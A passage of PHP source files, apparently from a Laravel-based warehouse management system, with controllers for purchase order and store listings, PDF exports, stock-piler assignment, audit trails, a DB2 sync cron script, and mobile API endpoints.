$this->data['po_no'] = $po_no;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_dept_code'] = $filter_dept_code;
$pdf = App::make('dompdf');
$pdf->loadView('purchase_order.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
/*return $pdf->stream();*/
return $pdf->download('purchase_order_' . date('Ymd') . '.pdf');
}
public function exportPOCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['col_id'] = Lang::get('purchase_order.col_id');
$this->data['col_po_no'] = Lang::get('purchase_order.col_po_no');
$this->data['col_box_code'] = Lang::get('purchase_order.col_box_code');
$this->data['col_sticker_by'] = Lang::get('purchase_order.col_sticker_by');
$this->data['col_receiver_no'] = Lang::get('purchase_order.col_receiver_no');
$this->data['col_supplier'] = Lang::get('purchase_order.col_supplier');
$this->data['col_receiving_stock_piler'] = Lang::get('purchase_order.col_receiving_stock_piler');
$this->data['col_shipment_ref'] = Lang::get('purchase_order.col_shipment_ref');
$this->data['col_invoice_number'] = Lang::get('purchase_order.col_invoice_number');
$this->data['col_invoice_amount'] = Lang::get('purchase_order.col_invoice_amount');
$this->data['col_entry_date'] = Lang::get('purchase_order.col_entry_date');
$this->data['col_status'] = Lang::get('purchase_order.col_status');
$this->data['col_action'] = Lang::get('purchase_order.col_action');
$this->data['col_back_order'] = Lang::get('purchase_order.col_back_order');
$this->data['col_carton_id'] = Lang::get('purchase_order.col_carton_id');
$this->data['col_total_qty'] = Lang::get('purchase_order.col_total_qty');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_posted_po'] = Lang::get('purchase_order.text_posted_po');
//http://local.ccri.com/purchase_order/export?filter_po_no=&filter_receiver_no=&filter_entry_date=&filter_stock_piler=&filter_status=default&sort=purchase_order_lists.created_at&order=DESC
$arrParams = array(
'filter_po_no' => Input::get('filter_po_no', NULL),
'filter_receiver_no' => Input::get('filter_receiver_no', NULL),
'filter_entry_date' => Input::get('filter_entry_date',NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_back_order' => Input::get('filter_back_order', NULL),
'filter_brand' => Input::get('filter_brand', NULL),
'filter_division' => Input::get('filter_division', NULL),
'filter_shipment_reference_no' => Input::get('filter_shipment_reference_no', NULL),
'sort' => Input::get('sort', 'po_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
// echo '<pre>'; print_r($arrParams); die();
$results = PurchaseOrder::getPoLists1($arrParams);
$this->data['results'] = $results;
$this->data['brand'] = Input::get('filter_brand', NULL);
$pdf = App::make('dompdf');
$pdf->loadView('purchase_order.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
/*return $pdf->stream();*/
return $pdf->download('purchase_order_' . date('Ymd') . '.pdf');
}
/*public function exportDetailsCSV() {
///Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportPurchaseOrderDetails', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
if (PurchaseOrder::getPOInfoByReceiverNo(Input::get('receiver_no', NULL))!=NULL) {
$receiver_no = Input::get('receiver_no', NULL);
$arrParams = array(
'sort' => Input::get('sort', 'sku'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$po_info = PurchaseOrder::getPOInfo($receiver_no);
$results = PurchaseOrderDetail::getPODetails($receiver_no, $arrParams);
$output = Lang::get('purchase_order.col_sku'). ',';
$output .= Lang::get('purchase_order.col_upc'). ',';
$output .= Lang::get('purchase_order.col_short_name'). ',';
$output .= Lang::get('purchase_order.col_expected_quantity'). ',';
$output .= Lang::get('purchase_order.col_received_quantity'). "\n";
foreach ($results as $key => $value) {
$exportData = array(
'"' . $value->sku . '"',
'"' . $value->upc . '"',
'"' . $value->short_description . '"',
'"' . $value->quantity_ordered . '"',
'"' . $value->quantity_delivered . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="purchase_order_details_' . $po_info->purchase_order_no . '_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
}*/
public function exportDetailsCSV() {
///Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['col_id'] = Lang::get('purchase_order.col_id');
$this->data['col_sku'] = Lang::get('purchase_order.col_sku');
$this->data['col_upc'] = Lang::get('purchase_order.col_upc');
$this->data['col_short_name'] = Lang::get('purchase_order.col_short_name');
$this->data['col_expected_quantity'] = Lang::get('purchase_order.col_expected_quantity');
$this->data['col_received_quantity'] = Lang::get('purchase_order.col_received_quantity');
$this->data['col_expiry_date'] = Lang::get('purchase_order.col_expiry_date');
$arrParams = array(
'sort' => Input::get('sort', 'purchase_order_details.sku'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = PurchaseOrder::getPOQueryUnlistedReport($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('purchase_order.report_detail', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('purchase_order_unlisted_' . date('Ymd') . '.pdf');
}
public function asdfasdfasdf() {
///Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
if (PurchaseOrder::getPOInfoByReceiverNo(Input::get('receiver_no', NULL))!=NULL) {
$this->data['col_id'] = Lang::get('purchase_order.col_id');
$this->data['col_sku'] = Lang::get('purchase_order.col_sku');
$this->data['col_upc'] = Lang::get('purchase_order.col_upc');
$this->data['col_short_name'] = Lang::get('purchase_order.col_short_name');
$this->data['col_expected_quantity'] = Lang::get('purchase_order.col_expected_quantity');
$this->data['col_received_quantity'] = Lang::get('purchase_order.col_received_quantity');
$this->data['col_expiry_date'] = Lang::get('purchase_order.col_expiry_date');
$arrParams = array(
'sort' => Input::get('sort', 'purchase_order_details.sku'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = PurchaseOrderDetail::getPOQueryUnlistedReport($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('purchase_order.report_detail', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('purchase_order_detail_' . date('Ymd') . '.pdf');
}
}
public function exportBackorder() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
if(Input::get('filter_shipment_reference_no') == NULL) return Redirect::to('purchase_order')->withError('Shipment Reference cannot be empty');
$this->data['col_id'] = Lang::get('purchase_order.col_id');
$this->data['col_po_no'] = Lang::get('purchase_order.col_po_no');
$this->data['col_receiver_no'] = Lang::get('purchase_order.col_receiver_no');
$this->data['col_supplier'] = Lang::get('purchase_order.col_supplier');
$this->data['col_receiving_stock_piler'] = Lang::get('purchase_order.col_receiving_stock_piler');
$this->data['col_invoice_number'] = Lang::get('purchase_order.col_invoice_number');
$this->data['col_invoice_amount'] = Lang::get('purchase_order.col_invoice_amount');
$this->data['col_entry_date'] = Lang::get('purchase_order.col_entry_date');
$this->data['col_status'] = Lang::get('purchase_order.col_status');
$this->data['col_action'] = Lang::get('purchase_order.col_action');
$this->data['col_back_order'] = Lang::get('purchase_order.col_back_order');
$this->data['col_carton_id'] = Lang::get('purchase_order.col_carton_id');
$this->data['col_total_qty'] = Lang::get('purchase_order.col_total_qty');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_posted_po'] = Lang::get('purchase_order.text_posted_po');
$arrParams = array(
'filter_back_order_only' => TRUE,
'filter_po_no' => NULL,
'filter_receiver_no' => NULL,
'filter_entry_date' => NULL,
'filter_stock_piler' => NULL,
'filter_status' => NULL,
'filter_back_order' => NULL,
'filter_brand' => NULL,
'filter_division' => NULL,
'filter_shipment_reference_no' => Input::get('filter_shipment_reference_no', NULL),
'sort' => Input::get('sort', 'po_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = PurchaseOrder::getPoLists($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('purchase_order.report_backorder', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('back_order_' . date('Ymd') . '.pdf');
}
/**
* Get Purchase order list view
*
* @example $this->getList();
*
* @return Purchase order list view
*/
protected function getList()
{
$this->data = Lang::get('purchase_order');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// URL
$this->data['url_export'] = URL::to('purchase_order/export' . $this->setURL());
$this->data['url_export_backorder'] = URL::to('purchase_order/export_backorder' . $this->setURL());
$this->data['url_reopen'] = URL::to('purchase_order/reopen');
$this->data['url_assign'] = URL::to('purchase_order/assign' . $this->setURL());
$this->data['url_detail'] = URL::to('purchase_order/division' . $this->setURL(true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
$this->data['po_status_type'] = Dataset::getTypeInList("PO_STATUS_TYPE");
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['brands_list'] = $this->getBrands();
$this->data['divisions_list'] = $this->getDivisions();
// Search Filters
$filter_po_no = Input::get('filter_po_no', NULL);
$filter_receiver_no = Input::get('filter_receiver_no', NULL);
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_invoice_no = Input::get('filter_invoice_no', null);
$filter_status = Input::get('filter_status', NULL);
$filter_back_order = Input::get('filter_back_order', NULL);
$filter_brand = Input::get('filter_brand', NULL);
$filter_division = Input::get('filter_division', NULL);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', NULL);
$total_qty = Input::get('total_qty', null);
$sort = Input::get('sort', 'po_no');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_invoice_no' => $filter_invoice_no,
'filter_back_order' => $filter_back_order,
'filter_status' => $filter_status,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = PurchaseOrder::getPoLists($arrParams);
$results_total = PurchaseOrder::getPoLists($arrParams, TRUE);
// echo "<pre>"; print_r($results); die();
// $results_total = PurchaseOrder::getPOQuery($arrParams, TRUE); //count($results);//
// print_r($results_total); die();
DebugHelper::log(__METHOD__, $results_total);
// Pagination
$this->data['arrFilters'] = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_invoice_no' => $filter_invoice_no,
'filter_back_order' => $filter_back_order,
'filter_status' => $filter_status,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'sort' => $sort,
'order' => $order
);
$this->data['purchase_orders'] = Paginator::make($results, $results_total, 30);
$this->data['purchase_orders_count'] = $results_total;
$this->data['counter'] = $this->data['purchase_orders']->getFrom();
$this->data['filter_po_no'] = $filter_po_no;
$this->data['filter_receiver_no'] = $filter_receiver_no;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_status'] = $filter_status;
$this->data['filter_invoice_no'] = $filter_invoice_no;
$this->data['filter_back_order'] = $filter_back_order;
$this->data['filter_brand'] = $filter_brand;
$this->data['filter_division'] = $filter_division;
$this->data['total_qty'] = $total_qty;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_po_no=' . $filter_po_no;
$url .= '&filter_entry_date=' . $filter_entry_date;
$url .= '&filter_status=' . $filter_status;
$url .= '&filter_shipment_reference_no=' . $filter_shipment_reference_no;
$url .= '&total_qty=' .$total_qty;
$url .= '&filter_invoice_no=' .$filter_invoice_no;
$url .= '&page=' . $page;
$order_po_no = ($sort=='po_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_receiver_no = ($sort=='receiver_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_entry_date = ($sort=='entry_date' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_po_no'] = URL::to('purchase_order' . $url . '&sort=po_no&order=' . $order_po_no, NULL, FALSE);
$this->data['sort_receiver_no'] = URL::to('purchase_order' . $url . '&sort=receiver_no&order=' . $order_receiver_no, NULL, FALSE);
$this->data['sort_entry_date'] = URL::to('purchase_order' . $url . '&sort=entry_date&order=' . $order_entry_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('purchase_order.list', $this->data);
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '?filter_po_no=' . Input::get('filter_po_no', NULL);
$url .= '&filter_receiver_no=' . Input::get('filter_receiver_no', NULL);
// $url .= '&filter_supplier=' . Input::get('filter_supplier', NULL);
$url .= '&filter_entry_date=' . Input::get('filter_entry_date', NULL);
$url .= '&filter_stock_piler=' . Input::get('filter_stock_piler', NULL);
$url .= '&filter_status=' . Input::get('filter_status', NULL);
$url .= '&filter_back_order=' . Input::get('filter_back_order', NULL);
$url .= '&filter_brand=' . Input::get('filter_brand', NULL);
$url .= '&filter_division=' . Input::get('filter_division', NULL);
$url .= '&filter_shipment_reference_no=' . Input::get('filter_shipment_reference_no', NULL);
$url .= '&filter_invoice_no=' . Input::get('filter_invoice_no', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'po_no');
$url .= '&order_back=' . Input::get('order', 'DESC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'po_no');
$url .= '&order=' . Input::get('order_back', 'DESC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'po_no');
$url .= '&order=' . Input::get('order', 'DESC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
/**
* Gets stock piler for drop down
*
* @example $this->getStockPilers();
*
* @return array of stock piler and drop down initial text;
*/
private function getStockPilers()
{
$stock_pilers = array();
foreach (User::getStockPilerOptions() as $item) {
$stock_pilers[$item->id] = $item->firstname . ' ' . $item->lastname;
}
return array('' => Lang::get('general.text_select')) + $stock_pilers;
}
/**
* Gets brands for drop down
*
* @example $this->getBrands();
*
* @return array of brands and drop down initial text;
*/
private function getBrands()
{
$brands = array();
foreach (Department::getBrands() as $item) {
$brands[$item['dept_code']] = $item['description'];
}
return array('' => Lang::get('general.text_select')) + $brands;
}
/**
* Gets division for drop down
*
* @example $this->getBrands();
*
* @return array of brands and drop down initial text;
*/
private function getDivisions()
{
$division = array();
// echo '<pre>'; print_r(Department::getDivisions()); die();
foreach (Department::getDivisions() as $item) {
$division[$item['sub_dept']] = $item['description'];
}
return array('' => Lang::get('general.text_select')) + $division;
}
public function getDivisionv2()
{
$division = array();
$brand = Input::get('brand');
$divisionList = Department::getSubDepartments($brand)->toArray();
foreach ($divisionList as $item) {
$division[$item['sub_dept']] = $item['description'];
}
// $values = array('' => Lang::get('general.text_select')) + $division;
$values = $division;
return Response::json($values);
}
/**
* Clear/Reopen a purchase order
* @return
*/
public function reopen()
{
CommonHelper::setRequiredFields(array('purchase_order_no'));
$purchase_order_no = Input::get('purchase_order_no');
PurchaseOrder::reopenPO(array('po_order_no'=>$purchase_order_no));
// AuditTrail
$user = User::find(Auth::user()->id);
$data_before = '';
$data_after = 'PO No: ' . $purchase_order_no . ' is reopened by ' . $user->username;
$arrParams = array(
'module' => 'Purchase Order',
'action' => 'Reopen PO',
'reference' => $purchase_order_no,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('purchase_order' . $this->setURL())
->with('message', Lang::get('purchase_order.text_success_reopen', array('purchaseOrderNo'=> $purchase_order_no)));
}
public function assignPilerForm() {
if (Session::has('permissions')) {
if (!in_array('CanAssignPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order');
}
} else {
return Redirect::to('users/logout');
}
// Search Filters
$this->data = lang::get('general');
$filter_po_no = Input::get('filter_po_no', NULL);
$filter_receiver_no = Input::get('filter_receiver_no', NULL);
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_back_order = Input::get('filter_back_order', NULL);
$filter_brand = Input::get('filter_brand', NULL);
$filter_division = Input::get('filter_division', NULL);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', NULL);
$module = Input::get('module', 'purchase_order');
$sort = Input::get('sort', 'purchase_order_lists.purchase_order_no');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
$this->data['filter_po_no'] = $filter_po_no;
$this->data['filter_receiver_no'] = $filter_receiver_no;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_status'] = $filter_status;
$this->data['filter_back_order'] = $filter_back_order;
$this->data['filter_brand'] = $filter_brand;
$this->data['filter_division'] = $filter_division;
$this->data['receiver_no'] = Input::get('receiver_no', NULL);
$this->data['module'] = $module;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
// Search Filters
$this->data['po_no'] = Input::get('po_no');
$this->data['heading_title_assign_po'] = Lang::get('purchase_order.heading_title_assign_po');
$this->data['entry_purchase_no'] = Lang::get('purchase_order.entry_purchase_no');
$this->data['entry_stock_piler'] = Lang::get('purchase_order.entry_stock_piler');
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
if($module=='purchase_order_detail')
$this->data['url_back'] = URL::to('purchase_order/detail'). $this->setURL(TRUE);
else
$this->data['url_back'] = URL::to('purchase_order/division'). $this->setURL(true).'&receiver_no='. Input::get('receiver_no', NULL);
$this->data['error_assign_po'] = Lang::get('purchase_order.error_assign_po');
$this->data['params'] = explode(',', Input::get('po_no'));
$this->data['dept_code'] = Input::get('dept_code');
$this->data['receiver_num'] = Input::get('receiver_num');
$this->data['po_info'] = PurchaseOrder::getPOInfoByPoNos($this->data['params'],$this->data['receiver_num']);
$this->layout->content = View::make('purchase_order.assign_piler_form', $this->data);
}
}
<file_sep>#!/usr/local/bin/php -q
<?php
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
include_once('db2_cron_class.php');
$ewms = new cronEWMS();
$db2 = new cronDB2();
$picking = $db2->picking();
$ewms->picklist(); sleep(2);
$pickingDetail = $db2->pickingDetail();
$ewms->picklistDetail(); sleep(2);
$db2->close();
$ewms->close();<file_sep><?php
class StoreController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessStoreMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessStoreMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportSlotMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('stores');
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('stores');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'store_code' => Input::get('filter_store_code', NULL),
'store_name' => Input::get('filter_store_name', NULL),
'sort' => Input::get('sort', 'store_code'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Store::getStoreList($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('stores.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('stores_' . date('Ymd') . '.pdf');
}
protected function getList() {
{
$this->data['heading_title'] = Lang::get('stores.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['label_filter_store_code'] = Lang::get('stores.label_filter_store_code');
$this->data['label_filter_store_name'] = Lang::get('stores.label_filter_store_name');
$this->data['col_id'] = Lang::get('stores.col_id');
$this->data['col_store_name'] = Lang::get('stores.col_store_name');
$this->data['col_store_code'] = Lang::get('stores.col_store_code');
$this->data['col_store_address'] = Lang::get('stores.col_store_address');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
}
// URL
$this->data['url_export'] = URL::to('stores/export');
// Search Filters
$filter_store_code = Input::get('filter_store_code', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$sort = Input::get('sort', 'store_code');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
// Data
$arrParams = array(
'filter_store_code' => $filter_store_code,
'filter_store_name' => $filter_store_name,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Store::getStoreList($arrParams);
$results_total = Store::getCountstoreLists($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_store_code' => $filter_store_code,
'filter_store_name' => $filter_store_name,
'sort' => $sort,
'order' => $order
);
$this->data['stores'] = Paginator::make($results, $results_total, 30);
$this->data['stores_count'] = $results_total;
$this->data['counter'] = $this->data['stores']->getFrom();
$this->data['filter_store_code'] = $filter_store_code;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_store_code=' . $filter_store_code;
$url .= '&filter_store_name=' . $filter_store_name;
$url .= '&page=' . $page;
$order_store_code = ($sort=='store_code' && $order=='ASC') ? 'DESC' : 'ASC';
$order_store_name = ($sort=='store_name' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_store_code'] = URL::to('stores' . $url . '&sort=store_code&order=' . $order_store_code, NULL, FALSE);
$this->data['sort_store_name'] = URL::to('stores' . $url . '&sort=store_name&order=' . $order_store_name, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('stores.list', $this->data);
}
}<file_sep><?php
class ApiInterTransfer extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Insert record
* @param array $data array of data
* @return boolean
*/
public function insertRecord()
{
try {
DB::beginTransaction();
CommonHelper::setRequiredFields(array('data', 'box_code'));
$data = json_decode(Request::get('data'), true);
$box_code = Request::get('box_code');
foreach ($data as $value)
{
$interTransfer = InterTransfer::firstOrNew(array('box_code'=>$box_code, 'mts_number'=>$value['mts_number']));
$interTransfer->box_code = $box_code;
$interTransfer->mts_number = $value['mts_number'];
$interTransfer->no_of_boxes = $value['no_of_boxes'];
$interTransfer->updated_at = date('Y-m-d H:i:s');
$interTransfer->save();
self::auditTrail($box_code, $value['mts_number'], $value['no_of_boxes']);
}
DB::commit();
return CommonHelper::return_success();
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
public function auditTrail($box_code, $mts_number, $no_of_boxes)
{
//Audit trail
$user_id = Authorizer::getResourceOwnerId();
$data_after = 'Inserted inter transfer with mts_number ' . $mts_number . ' with box total of ' . $no_of_boxes . ' in box: ' . $box_code . ' and has been added by Stock Piler # '. $user_id;
$arrParams = array(
'module' => Config::get("audit_trail_modules.inter_transfer"),
'action' => Config::get("audit_trail.post_inter_transfer"),
'reference' => 'Box #' . $box_code,
'data_before' => '',
'data_after' => $data_after,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
}<file_sep><?php
class ApiPurchaseOrder extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Display a prodcut listing of the resource
*
* @example www.example.com/api/{version}/purchase_order/{piler_id}
*
* @param piler_id int Stock piler id
* @throws Some_Exception_Class If something interesting cannot happen
* @return json encoded paginated purchase order list
*/
public function RPolist($piler_id)
{
try {
$polist = PurchaseOrder::GetApiRPoList($piler_id);
return Response::json(array('result' => $polist),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RPoListDetailUpdate($receiver_no,$division,$quantity,$sku,$quantity_delivered)
{
try {
$polistdetails = PurchaseOrderDetail::updateqty($receiver_no,$division,$quantity,$sku,$quantity_delivered);
return Response::json(array('result' => $polistdetails),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RPolistDetail($receiver_no,$division_id)
{
try {
$polistdetail = PurchaseOrder::GetApiRPoListDetail($receiver_no,$division_id);
return Response::json(array('result' => $polistdetail),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateApiRPoSlot($receiver_no,$division_id)
{
try {
$poupdatastatus = PurchaseOrder::UpdateApiRPoSlot($receiver_no,$division_id);
return Response::json(array('result'),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function index($piler_id) {
try {
if(! CommonHelper::hasValue($piler_id) ) throw new Exception( 'Missing stockpiler id parameter.');
$arrParams = array('stock_piler_id' => $piler_id);
$purchaseOrder = PurchaseOrder::getAPIPoLists($arrParams);
DebugHelper::log(__METHOD__, $purchaseOrder);
// $items = $purchaseOrder;
// $totalItems = PurchaseOrder::getAPICount($arrParams);
// $perPage = 10;
// $purchaseOrder = Paginator::make($items, count($items), $perPage);
return CommonHelper::return_success_message($purchaseOrder);
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Get Purchase Order Details
*
* @example www.example.com/api/{version}/purchase_order/details/{receiver_no}
*
* @param receiver_no int Receiver number
* @return json encoded array of purchase order details
*/
public function getDetails($receiver_no) {
try {
if(! CommonHelper::hasValue($receiver_no) ) throw new Exception( 'Missing receiver number parameter.');
$arrParams = array('receiver_no' => $receiver_no);
$po_details = PurchaseOrderDetail::getAPIPoDetail($arrParams);
DebugHelper::log(__METHOD__, $po_details);
return CommonHelper::return_success_message($po_details->toArray());
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Change purchase order status to closed and changes purchase order quantities
*
* @example www.example.com/api/{version}/purchase_order/{po_order_no}
*
* @param po_order_no int Purchase order number
* @param data json string json encoded array of skus and correspoinding moved quantity
* @param user_id int Stock Piler Id
* @param datetime_done datetime Date and time the purchase order was done (YYYY-MM-DD HH:MM:SS) (note: this is the time when the PO was marked done in the app, which is not the same with current time when the api call was done)
* @param receiver_no int Receiver number
* @return Status
*/
public function savedReceivedPO($po_order_no) {
try {
if(! CommonHelper::hasValue($po_order_no) ) throw new Exception( 'Missing purchase order number parameter.');
// echo "<pre>"; print_r(json_decode(Request::get('data'), true)); die();
CommonHelper::setRequiredFields(array('data', 'user_id', 'datetime_done','receiver_no', 'slot_code'));
$data = json_decode(Request::get('data'), true);
/*if(empty($data)) {
throw new Exception("Empty data parameter");
}*/
DebugHelper::log(__METHOD__, $data);
$po_status = "done";
$date_done = Request::get('datetime_done');
$user_id = Request::get('user_id');
$receiver_no = Request::get('receiver_no');
$slot_code = Request::get('slot_code');
DB::beginTransaction();
//check if user has the right to this PO
PurchaseOrder::isPOAssignedToThisUser($user_id, $receiver_no);
//save purcase order detail
if (CommonHelper::arrayHasValue($data)) {
foreach($data as $row) {
$row['po_order_no'] = $po_order_no;
